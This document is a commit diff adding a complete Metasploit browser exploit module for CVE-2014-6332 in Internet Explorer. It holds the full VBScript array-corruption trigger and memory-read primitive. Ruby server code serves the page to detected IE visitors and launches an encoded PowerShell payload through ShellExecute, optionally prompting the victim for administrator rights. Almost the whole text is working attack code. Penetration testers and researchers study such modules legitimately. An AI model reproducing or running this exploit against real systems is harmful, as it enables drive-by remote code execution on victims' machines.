|
| 1 | +## |
| 2 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 3 | +## |
| 4 | + |
| 5 | +require 'msf/core' |
| 6 | +require 'msf/core/exploit/powershell' |
| 7 | + |
| 8 | +class Metasploit4 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 12 | + include Msf::Exploit::Remote::BrowserAutopwn |
| 13 | + include Msf::Exploit::Powershell |
| 14 | + |
| 15 | + |
| 16 | + autopwn_info({ |
| 17 | + :ua_name => HttpClients::IE, |
| 18 | + :ua_minver => "3.0", |
| 19 | + :ua_maxver => "10.0", |
| 20 | + :javascript => true, |
| 21 | + :os_name => OperatingSystems::Match::WINDOWS, |
| 22 | + :rank => ExcellentRanking |
| 23 | + }) |
| 24 | + |
| 25 | + def initialize(info={}) |
| 26 | + super(update_info(info, |
| 27 | + 'Name' => "Windows OLE Automation Array Remote Code Execution", |
| 28 | + 'Description' => %q{ |
| 29 | + This module exploits Windows OLE Automation Array Vulnerability known as CVE-2014-6332. |
| 30 | + The vulnerability exists in Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10. |
| 31 | + }, |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'Author' => |
| 34 | + [ |
| 35 | + 'Robert Freeman of IBM X-Force', |
| 36 | + 'yuange <twitter.com/yuange75>', |
| 37 | + 'Rik van Duijn <twitter.com/rikvduijn>', |
| 38 | + 'Wesley Neelen <security[at]forsec.nl>', |
| 39 | + |
| 40 | + 'b33f @FuzzySec', |
| 41 | + ], |
| 42 | + 'References' => |
| 43 | + [ |
| 44 | + [ 'CVE', '2014-6332' ], |
| 45 | + [ 'MSB', 'MS14-064' ], |
| 46 | + [ 'OSVDB', '114533' ], |
| 47 | + [ 'EDB', '35229' ], |
| 48 | + [ 'EDB', '35308' ], |
| 49 | + [ 'URL', 'http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows' ], |
| 50 | + [ 'URL', 'https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module' ] |
| 51 | + ], |
| 52 | + 'Platform' => 'win', |
| 53 | + 'Targets' => |
| 54 | + [ |
| 55 | + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], |
| 56 | + ], |
| 57 | + 'DefaultOptions' => |
| 58 | + { |
| 59 | + 'HTTP::compression' => 'gzip' |
| 60 | + }, |
| 61 | + 'Payload' => |
| 62 | + { |
| 63 | + 'BadChars' => "\x00" |
| 64 | + }, |
| 65 | + 'Privileged' => false, |
| 66 | + 'DisclosureDate' => "Nov 13 2014", |
| 67 | + 'DefaultTarget' => 0)) |
| 68 | + |
| 69 | + register_options( |
| 70 | + [ |
| 71 | + OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]), |
| 72 | + ], self.class ) |
| 73 | + |
| 74 | + end |
| 75 | + |
| 76 | + def vbs_prepare() |
| 77 | + code = %Q| |
| 78 | +dim aa() |
| 79 | +dim ab() |
| 80 | +dim a0 |
| 81 | +dim a1 |
| 82 | +dim a2 |
| 83 | +dim a3 |
| 84 | +dim win9x |
| 85 | +dim intVersion |
| 86 | +dim rnda |
| 87 | +dim funclass |
| 88 | +dim myarray |
| 89 | +
|
| 90 | +Begin() |
| 91 | +
|
| 92 | +neline |
| 93 | +function Begin() |
| 94 | + On Error Resume Next |
| 95 | + info=Navigator.UserAgent |
| 96 | +
|
| 97 | + if(instr(info,"Win64")>0) then |
| 98 | + exit function |
| 99 | + end if |
| 100 | +
|
| 101 | + if (instr(info,"MSIE")>0) then |
| 102 | + intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2)) |
| 103 | + else |
| 104 | + exit function |
| 105 | +
|
| 106 | + end if |
| 107 | +
|
| 108 | + win9x=0 |
| 109 | +
|
| 110 | + BeginInit() |
| 111 | + If Create()=True Then |
| 112 | + myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) |
| 113 | + myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0) |
| 114 | +
|
| 115 | + if(intVersion<4) then |
| 116 | + document.write("<br> IE") |
| 117 | + document.write(intVersion) |
| 118 | + runshellcode() |
| 119 | + else |
| 120 | + setnotsafemode() |
| 121 | + end if |
| 122 | + end if |
| 123 | +end function |
| 124 | +
|
| 125 | +function BeginInit() |
| 126 | + Randomize() |
| 127 | + redim aa(5) |
| 128 | + redim ab(5) |
| 129 | + a0=13+17*rnd(6) |
| 130 | + a3=7+3*rnd(5) |
| 131 | +end function |
| 132 | +
|
| 133 | +function Create() |
| 134 | + On Error Resume Next |
| 135 | + dim i |
| 136 | + Create=False |
| 137 | + For i = 0 To 400 |
| 138 | + If Over()=True Then |
| 139 | + ' document.write(i) |
| 140 | + Create=True |
| 141 | + Exit For |
| 142 | + End If |
| 143 | + Next |
| 144 | +end function |
| 145 | +
|
| 146 | +sub testaa() |
| 147 | +end sub |
| 148 | +
|
| 149 | +function mydata() |
| 150 | + On Error Resume Next |
| 151 | + i=testaa |
| 152 | + i=null |
| 153 | + redim Preserve aa(a2) |
| 154 | +
|
| 155 | + ab(0)=0 |
| 156 | + aa(a1)=i |
| 157 | + ab(0)=6.36598737437801E-314 |
| 158 | +
|
| 159 | + aa(a1+2)=myarray |
| 160 | + ab(2)=1.74088534731324E-310 |
| 161 | + mydata=aa(a1) |
| 162 | + redim Preserve aa(a0) |
| 163 | +end function |
| 164 | +
|
| 165 | +function setnotsafemode() |
| 166 | + On Error Resume Next |
| 167 | + i=mydata() |
| 168 | + i=readmemo(i+8) |
| 169 | + i=readmemo(i+16) |
| 170 | + j=readmemo(i+&h134) |
| 171 | + for k=0 to &h60 step 4 |
| 172 | + j=readmemo(i+&h120+k) |
| 173 | + if(j=14) then |
| 174 | + j=0 |
| 175 | + redim Preserve aa(a2) |
| 176 | + aa(a1+2)(i+&h11c+k)=ab(4) |
| 177 | + redim Preserve aa(a0) |
| 178 | +
|
| 179 | + j=0 |
| 180 | + j=readmemo(i+&h120+k) |
| 181 | +
|
| 182 | + Exit for |
| 183 | + end if |
| 184 | +
|
| 185 | + next |
| 186 | + ab(2)=1.69759663316747E-313 |
| 187 | + runaaaa() |
| 188 | +end function |
| 189 | +
|
| 190 | +function Over() |
| 191 | + On Error Resume Next |
| 192 | + dim type1,type2,type3 |
| 193 | + Over=False |
| 194 | + a0=a0+a3 |
| 195 | + a1=a0+2 |
| 196 | + a2=a0+&h8000000 |
| 197 | +
|
| 198 | + redim Preserve aa(a0) |
| 199 | + redim ab(a0) |
| 200 | +
|
| 201 | + redim Preserve aa(a2) |
| 202 | +
|
| 203 | + type1=1 |
| 204 | + ab(0)=1.123456789012345678901234567890 |
| 205 | + aa(a0)=10 |
| 206 | +
|
| 207 | + If(IsObject(aa(a1-1)) = False) Then |
| 208 | + if(intVersion<4) then |
| 209 | + mem=cint(a0+1)*16 |
| 210 | + j=vartype(aa(a1-1)) |
| 211 | + if((j=mem+4) or (j*8=mem+8)) then |
| 212 | + if(vartype(aa(a1-1))<>0) Then |
| 213 | + If(IsObject(aa(a1)) = False ) Then |
| 214 | + type1=VarType(aa(a1)) |
| 215 | + end if |
| 216 | + end if |
| 217 | + else |
| 218 | + redim Preserve aa(a0) |
| 219 | + exit function |
| 220 | +
|
| 221 | + end if |
| 222 | + else |
| 223 | + if(vartype(aa(a1-1))<>0) Then |
| 224 | + If(IsObject(aa(a1)) = False ) Then |
| 225 | + type1=VarType(aa(a1)) |
| 226 | + end if |
| 227 | + end if |
| 228 | + end if |
| 229 | + end if |
| 230 | +
|
| 231 | +
|
| 232 | + If(type1=&h2f66) Then |
| 233 | + Over=True |
| 234 | + End If |
| 235 | + If(type1=&hB9AD) Then |
| 236 | + Over=True |
| 237 | + win9x=1 |
| 238 | + End If |
| 239 | +
|
| 240 | + redim Preserve aa(a0) |
| 241 | +
|
| 242 | +end function |
| 243 | +
|
| 244 | +function ReadMemo(add) |
| 245 | + On Error Resume Next |
| 246 | + redim Preserve aa(a2) |
| 247 | +
|
| 248 | + ab(0)=0 |
| 249 | + aa(a1)=add+4 |
| 250 | + ab(0)=1.69759663316747E-313 |
| 251 | + ReadMemo=lenb(aa(a1)) |
| 252 | +
|
| 253 | + ab(0)=0 |
| 254 | +
|
| 255 | + redim Preserve aa(a0) |
| 256 | +end function |
| 257 | +
|
| 258 | + | |
| 259 | + |
| 260 | + end |
| 261 | + |
| 262 | + def get_html() |
| 263 | + |
| 264 | + if datastore['TRYUAC'] |
| 265 | + tryuac = 'runas' |
| 266 | + else |
| 267 | + tryuac = 'open' |
| 268 | + end |
| 269 | + |
| 270 | + payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true }) |
| 271 | + payl.slice! "powershell.exe " |
| 272 | + prep = vbs_prepare() |
| 273 | + |
| 274 | + html = %Q| |
| 275 | +<!doctype html> |
| 276 | +<html> |
| 277 | +<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" > |
| 278 | +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> |
| 279 | +<body> |
| 280 | +<script language="VBScript"> |
| 281 | +function runaaaa() |
| 282 | +On Error Resume Next |
| 283 | +
|
| 284 | +set shell=createobject("Shell.Application") |
| 285 | +shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0 |
| 286 | +
|
| 287 | +end function |
| 288 | +</script> |
| 289 | +<script language="VBScript"> |
| 290 | +#{prep} |
| 291 | +</script> |
| 292 | +</body> |
| 293 | +</html> |
| 294 | + | |
| 295 | + |
| 296 | + end |
| 297 | + |
| 298 | + def on_request_uri(cli, request) |
| 299 | + agent = request.headers['User-Agent'] |
| 300 | + |
| 301 | + print_status("Requesting: #{request.uri}") |
| 302 | + if agent =~ /MSIE/ and agent =~ /Windows/ |
| 303 | + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' |
| 304 | + print_status("Detected Internet Explorer in version: #{ie}") |
| 305 | + if ie.to_i <= 3 or ie.to_i > 10 |
| 306 | + print_error("This version is NOT vulnerable") |
| 307 | + send_not_found(cli) |
| 308 | + return |
| 309 | + end |
| 310 | + else |
| 311 | + print_error("This Browser or OS is NOT vulnerable") |
| 312 | + send_not_found(cli) |
| 313 | + return |
| 314 | + end |
| 315 | + |
| 316 | + html = get_html() |
| 317 | + send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' }) |
| 318 | + end |
| 319 | +end |
| 320 | + |
0 commit comments